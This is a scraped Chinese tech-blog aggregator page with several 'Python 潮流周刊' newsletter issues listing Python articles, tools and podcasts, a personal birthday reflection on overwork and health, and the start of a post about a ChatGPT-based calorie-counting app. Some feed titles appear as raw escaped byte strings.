APScheduler 是一个强大的定时任务处理库,这篇长文详细介绍了从入门到精通的相关知识,包括创建定时任务、定时任务触发器、任务存储、并发执行、阻塞和非阻塞调度器、错误处理、立即执行任务、调度器持久化、任务监听器和移除定时任务等。
文章尝试将 Python 的 lambda 函数改成 Javascript 风格的箭头函数。在编译 CPython 时,通过修改 .asdl 文件,重新构造抽象语法树,修改语法分析文件,并利用 pegen 重新生成语法分析器。
你是否对 CPython 的底层运行原理及其内部结构感到好奇?文章通过分析源码,介绍了 CPython 是如何实现引用计数和内存管理的,涉及引用计数的机制、关键数据结构的解释、字节码指令的执行、引用计数的局限性等。
延迟加载指的是在使用时再导入模块,而不是在程序刚执行时就加载。它的好处:减少启动时间、降低内存消耗、提高性能、优化资源、运行时加载。文章介绍了importlib 实现延迟加载的用法。。
端到端测试(end-to-end)指的是对程序的整个使用流程从头到尾作测试,可能发现单元测试与集成测试都无法发现的问题。这是一篇详细的入门教程,介绍了 Playwright 的相关用法。
Python 官方虽已宣布会接受 PEP-703,但是最终版本或许要等到 5 年后的 3.17 版本。从 2021 年起,nogil 和 Faster CPython 项目持续吸引大家的关注,这篇文章梳理了它们两年来的发展情况、一些关键性问题的处理方案和重要进展、近期社区和大公司的回应等。(附:Python 官方第一次针对 nogil 的研讨会Faster CPython 项目的首次亮相
Instagram 向 Python 贡献了 3.12 版本中的 PEP-683(永生对象,使用固定的引用计数),它可以绕过引用计数检查,这是多核 Python 并行处理的重要基础。文章介绍了 Instagram 遇到的内存使用问题、为解决问题而引入永生对象、并最终贡献到 CPython 的故事。
Python 中一个文件是一个模块,拥有自己的命名空间。当使用“import *”时,这会导致“命名空间污染”!文章指出了遵循 PEP-8 风格的正确写法,同时建议应该用__all__ 来定义模块中可被导出的变量名。
pixi 是最新发布的用 Rust 编写的 Python 包管理器,这篇文章出自其官方博客,主要介绍为什么要开发这个项目、它提供了哪些功能、它的基本执行过程。项目当前基于 Conda 生态,暂不支持 PyPI。
一篇非常详细的教程,介绍了 JWT 是什么以及它的工作原理,演示了如何用 DRF 实现 JWT 身份验证的全过程。
数据库查询是影响 Web 程序性能的主要因素之一,这篇文章介绍了 7 个提升性能的技巧:设置查询语句的超时时间、使用assertNumQueries 测试查询数、使用nplusone 捕获 N+1 查询、使用django-zen-queries 捕获 N+1 查询、避免对预取对象作新的查询、使用 defer() 防止获取大的未使用字段、避免在大字段上使用 distinct()
有时候我们会在编程语言中看到一些奇怪的现象,它们可能是一些非常冷门的“特性”,也可能会让人误以为是 bug 或者因理解错误而造成 bug。作者介绍了他的几个小发现。
可汗学院使用 Python 做了 10 年的主力语言,然而在 2020 年前后彻底转向了 Go 阵营。这篇文章介绍了它为什么以及如何将 Python 2 后端整体重构成 Go 服务。文中引用了可汗学院总结性的一系列博客,可作延伸阅读。
这是一篇思考编程语言该如何设计的长文!作者指出现代编程语言存在“静态-动态双形性”问题,提出理想的编程语言应该同时具有静态和动态的特性。文章分析了 IdrisZig 两种语言的做法,并指出其局限性,最后提出应该重新思考编程语言。
🎁Python潮流周刊🎁已免费发布了 16 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

一个基于 Conda 生态的包管理器,支持所有操作系统,支持多种语言的 Conda 包,拥有类似 Cargo 的命令行界面,完全用 Rust 编写。支持按照项目来安装包,也支持全局安装,此行为类似于 pipxcondax
支持打包成 Mac、Windows、Linux、Android 和 iPhone 的应用,以及使用了 PyScript 作客户端的静态 Web 站点。(star 2K)
上周的热门项目,仅需三张照片即可生成个人的数字分身。底层使用了 Stable Diffusion 的文生图功能,训练时可选择多种风格的 LoRA 模型,也支持添加个性化的 prompt,实现变装效果。(star 3.2K)
“模型即服务”(MaaS)汇集 AI 社区中最先进的机器学习模型,并简化在实际应用中使用 AI 模型的流程。它已有 700+ 模型,涵盖自然语言处理、计算机视觉、语音、多模态等。(star 3.6K)
不是根据体裁和书名等常规条件,而是根据提示语来搜索相关的书籍。基于双塔语义检索模型 ,使用 DuckDB 在本地训练数据,使用 Redis Search 模块作检索,通过 Flask API 和 Bootstrap 前端展示结果。
它为开源维护者搭建一个平台,可便捷地设置、运营、推广面向支持者的增值及订阅服务,帮助开发者从开源项目中获取收入。这个项目已获得 180 万美元的种子轮投资。
一个很有意思的游戏!你需要扮演操作系统,管理进程、内存和 I/O 事件,不能让进程空闲太久,不然就 game over!项目依赖 Python 3.11 和 pipenv,也可以上这个网站在线体验 。(star 1K)
这个项目从头实现一个关系型数据库,借鉴了 sqlite 数据库。关键的特性:支持丰富的 sql、使用lark 构建自定义词法分析与解析器、支持用户和代理方式连接、实现 BTree 作数据存储。
比其它多进程库更快,且功能更多:结合了 multiprocessing.Pool 使用写时复制的共享对象的优点、有丰富的状态管理功能、使用 tqdm 实现进度条、支持在仪表板查看进度,等等。(star 1.5K)
如何比对一个软件在两个版本间的差异?比较二进制软件的差异时,涉及哪些匹配技术?这个项目号称是目前最强的软件差异比对工具!(star 3.1K)
一个近实时(NRT)的纯 Python 运行时类型检查工具,将 Rust 和 C++ 的零成本对象带入动态类型的 Python 世界。它可有选择性地将 Python 的鸭子类型转换成静态类型,同时默认保留前者的优点。项目文档中称“你可以同时像鸭子一样嘎嘎叫,以及像熊一样咆哮”!(star 2K)
这个仓库收录了 200 多本计算机科学类书籍,仅限教育用途!

🐢播客&视频

这个视频出自 PyCon 2015,介绍如何写出优雅的 Python 代码。在油管上已有 8200+ 点赞。演讲者 Raymond Hettinger 参与贡献了大家熟知的很多 Python 特性,比如 enumerate() 函数、生成器表达式、OrderedDict()、条件表达式、set 对象等。
写出能用的代码不应该成为最终目标,这只是一个开始!这个视频使用了__getitem__、__len__、__enter__ 和 __exit__ 等魔术方法,将难以维护的代码重构得 Pythonic。作者自称这是对上一则分享的 8 分钟浓缩版。

🐱赞助&支持

如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

August 19, 2023 12:00 AM

August 12, 2023

pythoncat

Python 潮流周刊#15:如何分析异步任务的性能?

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。标题取自其中一则分享,不代表全部内容都是该主题,特此声明。
本周刊精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。

🦄文章&教程

如何分析 FastAPI 异步请求的性能?

cProfile 这种基于函数调用的分析工具无法有效分析异步操作的执行时间,文章介绍了 pyinstrument 这个分析库,结合 FastAPI.middleware 装饰器,并使用 speedscope 来可视化 FastAPI 程序的耗时情况。

利用 FastAPI 的后台任务:增强性能和响应能力

介绍了 FastAPI 的 BackgroundTasks,可以创建后台任务,用于管理长时间运行的任务,而不阻塞主进程。

使用 Python 创建直方图

直方图又名“柱状图”,可直观查看数据的分布趋势、离散程度和异常值等信息。文中介绍了 Matplotlib、Plotly、Seaborn、Numpy 和 Pandas 等工具绘制直方图的方法,介绍各种直方图的样式和风格、处理异常值、分析时间序列数据等。

Mypy 1.5 发布了

Mypy 是 Python 的静态类型检查工具,1.5 版本主要功能有:不再支持 Python 3.7、更灵活的 TypedDict 创建和更新、可显示错误代码的文档链接、实验性改进了泛型函数的类型推断、对 Python 3.12 的部分支持,等等。

在 Linux 上运行 Python 的“Hello World”脚本时,会发生什么?

在 py 文件中写上一句print("hello world"),然后在命令行执行这个文件,幕后都发生了什么呢?文章使用了 readelfstraceldddebugfs/procltraceddstat 等工具,详细解释了脚本被执行的过程。主要涉及操作系统相关的内容,而不是 CPython 解释器。(附:文章还引用了最近很火的 Putting the “You” in CPU ,介绍计算机是如何运行程序的,强烈推荐!)

通过对比 Python 来学习 PostScript

PostScript 是电子出版和桌面出版领域的页面描述语言,广泛用于打印机、出版和图形设备。文章将一段 PostScript 程序直译成 Python 代码,可以让你快速了解这门语言的语法。

Python 中不那么随意的性能优化

作者的一段代码,用 Rust 花了 950 毫秒,而 Python 却花 70 秒!这怎么能忍!将生成器写法改成 for 循环后,只是轻微提速,使用 Numpy 和多进程做了一些优化后,终于看到了比较可观的数据。不同代码方案的对比、Python 底层工作原理、内存使用效率问题,以及语言特性的差异。

在 Python 中创建上下文管理器

如何用 Python 创建自己的上下文管理器?上下文管理器是可以在 with 代码块中使用的对象,在进入和退出时做一些操作。文章介绍了上下文管理器的实现细节。

一个简单的模块,可以篡改 Python 解释器的数字

一篇有意思的文章。导入一个模块后,可以将 8 和 9 互换,即print(8) 会打印出 9。文章展示了如何用 C 编写一个简单的模块,介绍了 CPython 中整数对象池的实现,并通过修改两个整数的引用,实现一个简单的篡改数字的效果。

为什么说 Python 很糟糕……

一篇给 Python 泼冷水的文章,主要观点是认为 Python 不适合于开发大型应用。批评的点包括动态和鸭子类型、性能问题、代码维护和重构难等问题。

Python 中错误处理的最佳实践

Python 之禅说“错误不应该悄无声息地被忽略”,强调了应该直面错误和透明处理。文章指出了一些糟糕的错误处理写法,给出了尽早检查错误、快速失败处理等编程建议。

使用企业数据和 Python 构建 GPT 对话机器人

这篇教程介绍了搭建企业中 GPT 对话机器人的完整流程,包括数据索引、查询检索、集成 LLM、使用 FastAPI 开发接口、uvicorn 作部署。

Python 鸡尾酒:将上下文管理器和迭代器等量混合

tenacity 库提供了一种用迭代器和上下文管理器组合的写法,实现重试机制。这篇文章演示了如何用自定义的迭代器和上下文管理器,来实现同样的功能,可以让你更深入理解这两个好用的特性。

索引的力量:利用 Pandas 提高数据整理效率

Pandas 被广泛用于数据处理,文章介绍了如何高效利用索引技术,提升它整理数据的速度和效率。介绍了多种索引技术,例如基于整数的索引、布尔索引、设置新索引并重置旧索引、排序索引。

杀死 ProcessPoolExecutor

Python 不适合处理 CPU 密集型任务,文章中项目原本使用进程池来规避 GIL 问题,后使用线程、C++ 扩展和更精细调整的 GIL 控制,将内存使用量减少 50%,CPU 使用量减少约 20%,线程和进程减少约 70%,I/O 流量减少 100%。
🎁Python潮流周刊🎁已免费发布了 15 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

pyinstrument:Python 的调用堆栈分析器

一个轻量级、无侵入的 Python 代码性能分析库,支持分析异步任务和事件循环代码,可生成多种格式的分析报告,包括文本、HTML 和火焰图。(star 5.5K)

viztracer:低开销的日志记录/调试/分析工具,可视化 Python 代码的执行

国人开源的日志记录/调试/分析工具,支持线程、多进程、子进程和异步,支持火焰图、远程连接、虚拟调试等,有强大的前端,可流畅渲染 GB 级堆栈信息。(star 3.5K)

tenacity:Python 重试库

可提供简单而灵活的方式来实现可靠的重试机制,支持指定重试次数、重试间隔时间、重试的回调函数、根据不同的错误条件进行重试等功能,减少手动处理错误和异常的麻烦。(star 5.1K)

litestar:轻量、灵活且可扩展的 ASGI API 框架

一个高性能的 ASGI API 框架,其早期版本是基于 Starlette 开发的,命名为 Starlite,但从 2.0 版本起已完全移除 Starlette 依赖,并改名为 litestar。核心特性:基于类的控制器、依赖注入、分层中间件、插件系统、OpenAPI 3.1、内置 Trio,等等。(star 2.5K)

Make-It-3D:利用单个图像创建高保真 3D 模型

从图片中分割物体,创建高保真的 3D 几何形状,可作 360° 旋转展示。(star 1.2K)

Color-diffusion:对黑白图像进行着色的扩散模型

使用 diffusion 模型对黑白图像进行着色,使用 LAB 色彩空间实现,这是 RGB 色彩空间的 3 通道替代方案。

DevOpsGPT:AI 驱动的自动化软件开发系统

将 LLM 与 DevOps 工具相结合,将自然语言需求转换为可工作的软件。无需繁琐的需求文档编写与沟通,缩短开发与交付时间,加速软件部署和迭代。(star 1.2K)

ILibCST:Python 的具体语法树解析器和序列化器库

具体语法树(Concrete Syntax Tree)是在词法分析和语法分析阶段后生成的一种数据结构,可用于分析代码结构,执行语义分析、重构优化和代码生成等操作。(star 1.2K)

hypothesis:功能强大、灵活且易于使用的库,用于基于属性的测试

基于属性的测试(Property-based Testing)是一种软件测试方法,其中测试用例的生成和验证是基于定义的属性或规约。传统的单元测试要给定具体的测试用例,而基于属性的测试则是随机生成大量的测试数据。(star 6.8K)

🐢播客&视频

Python People 播客

这是一档新上线一个月的播客栏目,每周访谈 Python 社区里一位有突出贡献的大佬。目前已访谈的嘉宾有 Michael Kennedy(Talk Python to Me 和 Python Bytes 的主理人)、Paul Everitt( JetBrains 和 PyCharm 的开发者倡导者)、Brett Cannon(Python 核心开发者)、Barry Warsaw(Python 核心开发者,非常早的成员)、Bob Belderbos(Pybites 的主理人)。

Talk Python To Me #426:PyScript 的新增功能

Pyscript 使 Python 能够在浏览器中运行。这期播客聊了它的最新进展。

Stack Overflow Blog #597:了解 SRE

网站可靠性工程(Site Reliability Engineering,SRE)是什么?它和 DevOps 有什么关系?如何平衡 SRE 的原则与组织结构的关系?生成式 AI 对 SRE 会带来什么影响?

Stack Overflow Blog #593:Python 团队如何调整语言以适应 AI 的未来

播客嘉宾是 Python 核心开发者和指导委员会成员 Pablo Galindo Salgado,讨论了如何平衡语言设计中的一致性和新功能、为什么收集社区对新版本的反馈很重要,以及为何他要专注于让 Python 更快。

🐱赞助&支持

如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

August 12, 2023 12:00 AM

August 05, 2023

ihewro

又长一岁之后

越来越难以静下心来写一些文字。工作一年后,表达欲/书写欲与之前相比都大大降低。我觉得愿意表达说明一个人是清醒的,是愿意思考的。这里的"表达"不仅仅是说,也不仅仅是对他人说。写,或者为自己而写都在此列。

不管怎样,每年生日附近还是会想记录什么,而今年的这个标题,也是毫无创造性的。

[scode type="share" size="simple"]

  • 24岁(2022年) [post cid="1265" cover="" size="small"/]
  • 23岁(2021年) [post cid="1185" cover="" size="small"/]
  • 22岁(2020年) [post cid="1117" cover="" size="small"/]
  • 21岁(2019年) [post cid="963" cover="" size="small"/]
  • 20岁(2018年) [post cid="830" cover="" size="small"/]
  • 19岁(2017年) [post cid="697" cover="" size="small"/]
  • 18岁(2016年) [post cid="250" cover="" size="small" /]

[/scode]

如果有留意过我在「时光机」的内容,大概能知道我这半年的事情了。年后的2月份,在做去年的一些收尾的工作,搬了新工区。3月份,ChatGPT 开始异常的火爆起来,Q1很快就结束了。

如果去看「生病的事」tag 下的记录,2月份搬工区,3月10号附近眼睛一直非常干涩、痛。也许你对眼睛痛没有太多的体会,以为不是什么大事。我在自己亲身经历之前,我有有一个室友得了干眼症,我也是这样认为。大不了多休息一下,就是太疲劳了而已。但其实非常的影响生活质量,下班后,眼睛是火辣辣的痛,得用清水去洗才会缓解一点。一开始是一位空气干燥,买了一个加湿器,没有任何缓解。生病最让人恐惧的一点是你不知道什么时候会好。幸运的是大概2-3周后,终于慢慢的好了。至今还认为是和新的工区有关系...

四月底的时候开始胸闷。其实在三月份就偶尔胸闷,但很轻微,中间又几乎没有了。五月份、六月份、七月份、八月份直至现在,我的胸闷也没有完全恢复...期间看了三次医生,第一次判断是支气管炎,吃了点抗菌的药,吃了两周,真的感觉就快好了,因为胸闷的频率很低了,就早上和晚上偶尔会吸不上去,白天几乎是个正常人了。而后和一个同步吃完午饭,同事说他阳了,不确定是心理作用,还就是病毒作祟,过后的十分钟就觉得身体不舒服,有点冒冷汗,很累。当天回家后自测抗原,没有阳。但是我的胸闷就加重了。后面再吃抗菌的药,就一直不见好。就这么拖了两个月... 这两个月更是工作强度最大的两个月。7月中旬的时候,看了第二次医生,医生做了一些测试排除是不是哮喘、支气管问题等,也让做CT了。结果出来后,7月底看了第三次医生。医生说,从CT上看,肺部没什么问题,CT结果是“肺部少许条索影”,这一般是之前得过肺炎等肺部疾病痊愈的“伤疤”。但这不能推断是2个月前得的,因为天知道我这二十多年里有没有得过自愈的。医生说不用查呼吸科了,建议看看抽血后看看心血管科,同时建议多休息。

而我自己给自己的症状的一个判断是慢性咽炎,因为吃饭后咽喉就会有点堵住,隔气,感觉咽喉有点堵。准备下周找个时间再去耳鼻喉科看看。

已经26岁的我,也许没有资格说“我年轻的时候身体怎么怎么样”,但是恕我公平的说一句,在我24岁之前,我几乎没有怎么生过病,感冒/发烧也许一年1/2次,除此之外身体很少有不适。而现在正明显的感受到这副身体已经慢慢的度过它的最佳时机而在走下坡路了。

话说回到工作的事情上,Q2的第一个月还没有那么忙,而后4月底的时候开始了一个新的项目,这也是我的第一次封闭开发和休息日加班。整个五月,六月,都在非常高强度的加班中,除了每周末加班一天,每天晚上下班也非常晚,9点半之后10点后也是家常便饭。可以说基本上没有9点之前下班的时候。

身体是一个很奇怪的,当习惯了这种强度的工作后,反而有点麻木的,甚至清闲下来都会觉得“罪恶”。现在我开始慢慢把工作置之脑后,不要把工作的价值当作自己的核心价值。

就这样忙碌的三个月再加上非常差的身体,非常疲惫的度过了Q2。

期间,有一个大学室友7月初的时候从北京阿里辞职回老家的一个xxx所工作了。另一个室友也非常“豪气”请大家吃饭,于是我们就聚了一次(7月9号)。这中间家里又出了一次事情,但最后也就这样过去了。

去年11月份一个关系很好的同级校招生换base,基本上离开了我的生活。在7月份的时候,另一位关系很好的同事也离职了。生活就是这样,实际上你留不住任何东西,且经历着。同事离职前单独找我简单聊天,建议我工作中多总结、多沉淀、多输出。可以多写一些技术文章,博文。我觉得也是很受用。

我是去年6月28号正式入职的,到现在已经一年多一点的时间了。这一年里,和之前很不同的是,工作是我的主旋律。以至于我很少为自己的事情矫情。“时间会治愈一切”,这句话几年前我会觉得是胡扯,我根本忘不掉过去的那些糟心的事情,我根本忘不掉。但是看现在,我真的慢慢记不清了,心已经慢慢的“麻木”,也是“麻木”本身就是一种“成长”。

另一个变化是“底线”。《武林外传》有一集郭芙蓉把祝无双离别送给吕秀才的衣服藏起来,后面反而骗说是自己做的衣服,最终事情暴露,吕秀不理郭芙蓉,要和她分手。佟湘玉说这件事情毕竟是触碰了秀才的底线。郭芙蓉说“说的谁好像没有底线似的”,佟掌柜接着说,“那你的底线是什么呀”。当时我就想我的“底线”是什么,我好像也没什么底线。每次别人不管是有意还是无意之间伤害了我,我反过来会觉得自己做的是不是不对。

但工作之后,我很少会把别人伤害我的事情归咎于我,而反过来心里谩骂对方是个大SB。其中一个很大原因是,我对人友好,积极去尽力做好工作中每件事情,如果还出现问题,那必然是对方的错误。

另一方面,在与人社交的场景中,开始有一些自己的“底线”,即不担心失去什么所谓的“社交关系”,因为我似乎本身就没有什么好失去的。因此相反,如果对方踩踏了自己的“底线”,尽管仍然不会当面去戳破,但是会自动的疏远这样的人。这样的底线没有准确的文字可以描述,它的核心就是你让我不舒服了,那就请你离开我的生活,就这么简单。我开始更多的去倾听自己的感受,我觉得这是一件好事,也许是因为有了一些底气,经济上我不依赖任何人,感情上我也没有拥有过更多,因此我并不为失去而感到害怕。

最后不想去说太多陈词滥调。尽管现在身体仍然不舒服,而且又新长了两个口腔溃疡。尽管楼上的空调每天都会嗡嗡作响影响我,但我对现在的生活挺感恩和满足。至少目前衣食无忧,没有太多负担。对我自己的告诫就是:多去经历、阅读、观看、体验。如果有什么目标,从最最最最最简单的事情的去做,先去做,而不是定宏大的目标!

这就是26岁的我目前的现状。

by 友人C at August 05, 2023 03:53 PM

pythoncat

Python 潮流周刊#14:Lpython 高性能编译器、Python 与 JavaScript 实现互通

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,本期分享的全部是英文材料。(标题取自其中两则分享,不代表全部内容都是该主题,特此声明。)
本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
周刊已开通 Telegram 频道,欢迎加入:https://t.me/pythontrendingweekly

🦄文章&教程

最新发布的一个Python 编译器(当前为 alpha 版本),目标是打造高性能的 Python。可以将带有类型提示的 Python 代码编译为优化的机器代码,支持提前编译(AOT)与即时编译(JIT),支持与 CPython 互操作,支持多种后端,例如 LLVM、C、C++、WASM、Julia 和 x86。
Cython 是一门专用于提升 Python 性能的编程语言,最近从 0.29.x 版本直接升到了 3.0.0 版本,带来了大量的问题修复以及新特性,这份 changelog 文档非常丰富。(附一篇详解历时五年的 Cython3.0 都发生了哪些变化 ,总结了这个版本的几项较大的变化点。)
变异系数(Coefficient of Variation,CoV)是一种统计量,用于评估数据集相对于其均值的相对变异性或离散程度。文章介绍了变异系数的公式、解释、意义和实际用途,以及如何用 Pandas 和 Numpy 来计算变异系数。
Jupyter Notebook 也支持 AI 功能了,目前免费提供。官博这篇教程指导了如何在聊天界面使用 Jupyter AI 完成各项任务。支持来自 AI21、Anthropic、AWS、Cohere、HuggingFace Hub 和 OpenAI 的大语言模型。
Python 3.10 版本的模式匹配语法,你用过了么?这篇文章探究了这种语法的相关要素(基本结构、每种模式的演示),也思考了是否真必要用模式匹配语法替换elif
Rich 是一个在终端使用富文本和美观样式的库(本期周刊的“项目&资源”中有介绍),这篇文章介绍了它的 inspect() 函数,可以查看 Python 对象的属性以及可用的 API。
一个冷门话题,讨论了 Python 包的版本号。我才知道 Python 包版本命名竟有 6 个组成部分!文章大部分内容是对 PEP-440(版本标识和依赖规范) 的介绍与解读,最后也介绍到了 Wheel 包的版本命名规则。
使用并发编程来提升文件 I/O 操作的性能,具体有哪些使用手段呢?文章介绍了四种模式(单线程、线程池/进程池、批处理任务、在进程池中使用线程池),并讨论了该如何选择更合适的模式。
对于所有程序员来说,阅读代码都是一项必备能力。但是,如何高效地阅读与理解别人的代码呢?这篇文章介绍了一些阅读策略与技巧,同时站在阅读者的视角,也有助于我们写出更具可读性、可理解性的代码。
Java 和 Python 各有优点,如何能将它们结合起来呢?这篇文章介绍了如何用 JPypePyjnius 等方式来调用 Java,同时指出实现方案所面临的挑战和限制。
文章介绍了 PythonMonkey 库的用法,实现在 Python 中加载与运行 JavaScript 代码,以及在 Python 中使用 WASM。(附作者的其它文章:使用 WebAssembly 在 Python 中执行 Rust 代码使用 WebAssembly 在 Python 中调用 C 函数
本期周刊有好几则内容与 Textual 相关!与图形用户界面(GUI)相比,文本用户界面(TUI)响应更快、系统要求更低和更易自动化。这篇文章使用 Textual 构建了一个 ChatGPT 对话工具。
如何在 Python 中使用当前热门的向量数据库呢?这篇文章介绍了使用 10 多种数据库来索引及搜索向量数据,包括 ClickHouse、OpenSearch、pgVector、Pinecone、Redis 等等。
CPython 是 Python 官方的解释器实现,这篇长文介绍了它的编译过程,包括语法解析、抽象语法树、字节码、pyc 解析等内容。
作者指出了 Python 内置的 pdb 与其它调试器(如 ipdb、pdbpp)的缺点,介绍了他开发的 pdbp 所作的修复和改进,以及简单的入门使用。这个库依赖项很少,功能强大,值得一试。
🎁Python潮流周刊🎁已免费发布了 14 期,访问下方链接,即可查看全部内容:https://pythoncat.top/tags/weekly
如果你觉得周刊有价值,请表达小小心意,赞赏一下猫哥吧~~

🐿️项目&资源

这个网站非常惊艳,推荐大家去体验下!主页是一幅学习线路图,画了不同的学习分支和内容分类,还有几个编程项目挑战,点击每个节点则跳转到对应内容的页面。(借鉴此网站的创意,开发面向中文读者的教学网站,应该会挺有趣)
你或许已知道 Python Tutor,它是一个提供了在线交互式 Python 编程环境的教学工具。这里介绍的 Pandas Tutor 也是类似的网站,它允许在浏览器中编写 Pandas 代码,并可视化数据的转换过程。 (附一篇文章,两位作者介绍了他们将 Pandas Tutor 移植到 Pyodide 的工作,以便大规模推广数据科学的教学)
这是托管在 Read The Docs 上的一个教学课程,介绍了如何使用 SQL 和 Jupyter 作数据分析,包含操作数据库、高级查询技术、数据可视化(seaborn、plotly、ggplot)、项目打包部署与监控等章节。它出自于开源项目 ploomber (star 3.1K),后者是一个快速构建数据管道的项目。
这是周刊第 12 期介绍过的 pystack 的姊妹项目,可以跟踪 Python 代码、C/C++ 扩展模块和 Python 解释器本身中的内存分配,支持本机模式与实时查看模式,可生成多种类型的报告。提供了 Pytest 插件 pytest-memray,可以在运行测试套后查看内存报告。(star 11K)
MS Paint 是微软公司开发的一款简单的图像编辑软件。这个项目是 MS Paint 风格的 TUI 图像编辑器,支持在终端中打开与保存图像、MS Paint 中的所有工具、调色板、画笔预览等等功能。
Rich 让终端不再单调,可以绘制漂亮的表格、进度条、markdown、源代码语法高亮以及栈回溯信息等。(star 44.2K)下面这张效果图,囊括了它的主要特色:
这是用 Rust 开发的 JSON 解析库,主要解决大文件无法加载到内存的痛点,通过将 JSON 转化成 JSONL 格式,解决内存消耗问题。测试表明,处理一个 500MB 文件,Python 标准库要用 2GB 内存,但这个库仅需 1.5MB,而且速度差异很小。
前文已出现过 PythonMonkey,它将 Mozilla 的 SpiderMonkey JavaScript 引擎嵌入到 Python 虚拟机中,利用Python 引擎提供 JS 主机环境。这个项目的目标包括在 Python 中调用 JavaScript 库和在 JavaScript 中调用 Python 库,如果能有效打通这两种语言的生态,前途不可估量!
cuDF 基于 Apache Arrow 列式内存格式构建,是一个 GPU DataFrame 库,用于加载、连接、聚合、过滤和以其它方式操作数据。提供了类似 pandas 的 API,无需了解 CUDA 编程的细节。(star 5.8K)
对 Stable Diffusion 作“知识蒸馏”后的小型化版本,可生成与 SD 质量相当的图像,同时速度更快、空间占用更少。
一个对视频中对象作高性能跟踪和分割的框架,由视频多目标分割器(VMOS)和掩模优化器(MR)组成,可以同时跟踪多个目标物体并输出准确的物体掩模。
一个 awesome 系列的 MLOps 精选列表,包含各种各样的项目/工具,以及文章、书籍、活动、播客和网站等等资源。

🐢播客&视频

本期的“项目&资源”介绍了 Memray,这里的播客节目邀请了两位嘉宾深入聊了这个项目。

🐱赞助&支持

如果你觉得周刊有价值,请随意赞赏买杯咖啡 进行支持!
如果你喜欢周刊,请分享给其他需要的同学,让更多人可以从中受益~

🐼欢迎订阅

本周刊已持续连载一年,更新内容接近 11 万字。希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。目前已开通付费专栏,欢迎你来订阅:https://xiaobot.net/p/python_weekly

August 05, 2023 12:00 AM

August 02, 2023

usb

b'Debian 12 / Ubuntu 24.04 \xe4\xb8\x8b\xe4\xbd\x93\xe9\xaa\x8c HTTP/3 \xe5\x8d\x8f\xe8\xae\xae\xe7\x9a\x84 Nginx QUIC'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\x90\x8c\xe6\xa0\xb7\xe9\x80\x82\xe5\x90\x88 Debian 11 \xe5\x92\x8c Ubuntu 22.04\xef\xbc\x8c\xe8\xaf\xb7\xe4\xbd\xbf\xe7\x94\xa8 root \xe7\x94\xa8\xe6\x88\xb7\xe8\xbf\x9b\xe8\xa1\x8c\xe6\x93\x8d\xe4\xbd\x9c\xe3\x80\x82'

by Showfom at August 02, 2023 01:00 AM

b'Nginx \xe9\x85\x8d\xe7\xbd\xae SSL \xe8\xaf\x81\xe4\xb9\xa6'

b'\xe6\x9c\xac\xe6\x96\x87\xe5\xb0\x86\xe4\xbb\x8b\xe7\xbb\x8d\xe8\xb4\xad\xe4\xb9\xb0 SSL \xe8\xaf\x81\xe4\xb9\xa6\xe5\xb9\xb6\xe5\x9c\xa8 Nginx \xe9\x85\x8d\xe7\xbd\xae\xe7\x9a\x84\xe5\xa7\xbf\xe5\x8a\xbf\xe3\x80\x82'

by Showfom at August 02, 2023 12:00 AM

July 30, 2023

greatdk

减肥 15 斤后,我获得了一个灵感,并开发了一个 AI 加持的 iOS APP

就像秋天洄游的鲑鱼,或者冬天南飞的候鸟一样,每到夏天,我就会开始减肥。

我倒并不一定非要减多少,但夏天尽可能瘦一点,已经成了我的一种习惯,这可能是为了在天气变冷时可以放心的吃更多食物,也可能是我内心深处还是有一点对自己身材的包袱,我说不好。

从 6 月开始,我开始有意识的计算每天的食物摄入热量,并制造一个热量缺口。

整个 6 月份下来,我瘦了大约 8 斤,7 月到现在,又差不多瘦了 7 斤,总共有差不多 15 斤,我妈都觉得我瘦了不少(忽略手臂的色差)

因为这次减肥比之前都更顺利一点,所以激发了我的好奇心,我开始好奇自己究竟有几块腹肌,这一点暂时还无法验证,但有望在这个夏天结束前揭晓。

在减肥的过程中,我认为核心是制造热量缺口,这是最简单,也最本质的办法。

过去的 2 个月,我每天都会计算热量缺口,一开始我用我在网上下载的一些热量记录的 app 来确定我的摄入热量,一个标准的使用流程是:

  • 我输入我吃的一个食物,例如一个馒头
  • 点击搜索,看到一大堆搜索列表
  • 点击「馒头」,把它选中
  • 弹出重量选择,默认是100g
  • 我琢磨一下,猜测我吃的那个馒头比较小,可能是 50g,手动调整成 50g
  • 点击确认

如果这一顿饭,我吃了一个馒头,一小盘西红柿炒鸡蛋,一杯鲜榨橙汁,半根玉米,一小盘酱牛肉,那么上面这个流程我得重复 5 次。

在某一次极其不耐烦的记下了我吃的一堆东西,又看到了一个拙劣的 AI 课的广告后,我突然想到,淦,我是不是可以用 chatGPT 来做一个更好的工具。

我在网上和应用商店搜了一圈,没有找到类似的工具。

我立马坐下来,直接在网页试了一下,我告诉 chatGPT 我吃的东西是「一个馒头,一小盘西红柿炒鸡蛋,一杯鲜榨橙汁,半根玉米,一小盘酱牛肉」,要求其为我预估热量。

我发现,这是可行的,chatGPT 具备逻辑和常识,可以将我这一大段口语描述拆解成食物,并预估热量。

